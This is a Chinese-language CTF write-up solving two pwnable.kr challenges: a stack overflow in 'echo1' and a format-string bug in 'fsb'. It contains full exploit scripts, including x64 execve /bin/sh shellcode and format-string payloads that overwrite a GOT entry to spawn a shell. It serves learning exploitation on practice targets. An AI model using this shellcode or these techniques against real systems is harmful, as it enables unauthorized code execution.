Writeup: pwnable.kr "echo1" & "fsb"
距离上一次发这一系列的文章,已经过去三周。期间稍微了解了一下 pwn,然后开始做 pwnable.kr。
0x01
这次做的第一个题目是 [Rookiss] 栏的 echo1,是一个简单的 stack overflow,题目如下:
Pwn this echo service.
download : http://pwnable.kr/bin/echo1
Running at : nc pwnable.kr 9010
首先用 IDA F5 看一下程序:
跟入 echo1 函数:
echo1 中 get_input 函数存在一个栈溢出,简单的验证一下:
输入溢出,覆盖了返回地址。
那么利用应该也不难了,需要找一个 jmp esp
或者 call esp
的地址,即可利用成功。
在 gdb 中利用 jmpcall
来寻找:
gdb-peda$ jmpcall
0x4006ec : call rax
0x40078e : jmp rax
0x400835 : call rdx
0x400869 : call rdx
0x400a6a : call rdx
0x400b54 : call rax
0x400cb7 : call rax
0x400deb : call rdi
gdb-peda$
然而并没有_(:3」∠)_
在这里卡住了,咨询了一下锐锐老师,想利用地址泄露计算偏移地址来执行。但是由于我太渣了找不到哪里有泄露QAQ。
但是不要着急,我们来看一下 main 函数中的几个点:
int *v3; // rsi@1
void *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf(4197310LL, v7);
v4 = o;
*(_QWORD *)o = v7[0];
*((_QWORD *)v4 + 1) = v7[1];
*((_QWORD *)v4 + 2) = v7[2];
id = LODWORD(v7[0]);
v7 是我们输入的 name,然后 id 保存着 v7(的字符串内容?)。在汇编来看的话比较直观:
mov DWORD PTR [rip+0x201724],eax
所以我们可以在 id 里面写 jmp esp
,其中 id 在 .bss 段,地址是固定的。我们直接 ret 到 id 的地址就好了。
构造 payload:
import zio
# payload/linux/x64/exec
# exec /bin/sh
shellcode = (
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
"\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
"\x48\x89\xe6\x0f\x05"
)
pad = "a" * 40
# jmp = '\xa0\x20\x60\x00\x00\x00\x00\x00'
jmp = zio.l64(0x6020a0) # id,这种写法比较高端_(:3」∠)_
io = zio.zio('./echo1')
# io = zio.zio(('pwnable.kr', 9010))
io.read_until(':')
io.writeline('\xff\xe4') # jmp esp
io.read_until('>')
io.writeline('1')
io.read_until('\n')
io.writeline(pad + jmp + shellcode)
io.read_until('\n')
io.interact()
0x02
第二个题目是 [Rookiss] 栏的 fsb,一个字符串格式化漏洞的利用。
Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)ssh fsb@pwnable.kr -p2222 (pw:guest)
登陆上去拿到源码,发现存在明显的字符串格式化漏洞:
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
字符串格式化漏洞对我这种渣渣来说大抵有两种方式解题。
- 覆盖判断的条件,使之成为 true;
- 覆盖 GOT 表,改变程序流程。
第一种方式是可以的,在程序中:
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
其中 key 是一个全局变量,但是验证的时候有一堆乱七八糟的东西,而且好像覆盖的话只能覆盖四个字节(读了 8 个字节),所以放弃这条路。
另外一条路就是覆盖 GOT 表了,我们看一下程序:
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
....
buf 和 buf2 都是全局变量,所以在获取输入的时候不会出现在栈里,这样我们就不能任意指定地址了。
咨询了一下锐锐老师,讲了一种高级的利用技巧:
调用函数时,会将 ebp 压栈,所以栈上我们可以得到当前的 ebp 和 esp 的差值,以及之前的 ebp 和栈顶的差值,所以我们可以:
- 覆盖 ebp 指向的地址(上一次 ebp 的地址)的内容为我们要覆盖的地址;
- 获取到上一次 ebp 指向的地址的,计算偏移,然后覆盖我们要覆盖的地址。
大体流程如下:
接着我们通过计算出上一次的 ebp 地址,来覆盖目标地址指向的内容即可。
在实际操作中,可以发现,esp 和 ebp 的差值为 0x48,得到 0x48 / 4 = 18,可以通过 18$ 来访问。
其中 ebp 指向的上一个 ebp 为 0xffffd888,这个地址是动态存在栈中,我们需要 leak 一次,计算出偏移地址。同时在栈上碰巧有当前的栈地址:
可以发现,14$ 处为当前栈的地址,距离栈顶有 0x50 个字节的偏移,且固定;18$ 为栈底,其内容为上一次的 ebp 的地址。
我们可以计算出当前 esp 的地址,然后减去上一次的 ebp 地址,即为偏移地址。
>>>> (0xffffd888 - (0xfffed7f0 - 0x50)) / 4.0
16442.0
即可以用 %16442$n 来修改我们想要覆盖的地址内容了。
通过 objdump 查看 GOT 表:
反编译 fsb 函数:
我们可以把 sleep 函数的 GOT 表地址覆盖为调用 execve 函数的地方:0x80486ab,且只需要覆盖高地址即可。
流程清楚了,编写 exp:
import zio
io = zio.zio('./fsb', timeout=9999)
io.read_until('\n')
io.writeline('a')
io.read_until('\n')
io.read_until('\n')
io.writeline('%134520840c%18$n') # 覆盖上一次的 ebp 地址为 sleep 函数的 GOT 表地址:0x0804a008
io.read_until('\n')
io.read_until('\n')
io.writeline('%14$x.%18$x') # leak 当前栈的地址以及 ebp 保存的地址
address = io.read_until('\n').strip()
esp_addr, ebp_addr = address.split('.')
esp_addr = int(esp_addr, 16) - 0x50
offset = (int(ebp_addr, 16) - esp_addr) / 4 # 计算偏移
io.read_until('\n')
io.writeline('%34475c' + '%%%d$hn' % offset) # 覆盖高地址的一个字,从 0x08048406 覆盖为 0x080486ab
address = io.read_until('\n').strip()
io.read_until('\n')
io.interact()
经过一系列的漫长打印后,得到 shell:
0x03
啊好累_(:3」∠)_
明天又要上班了..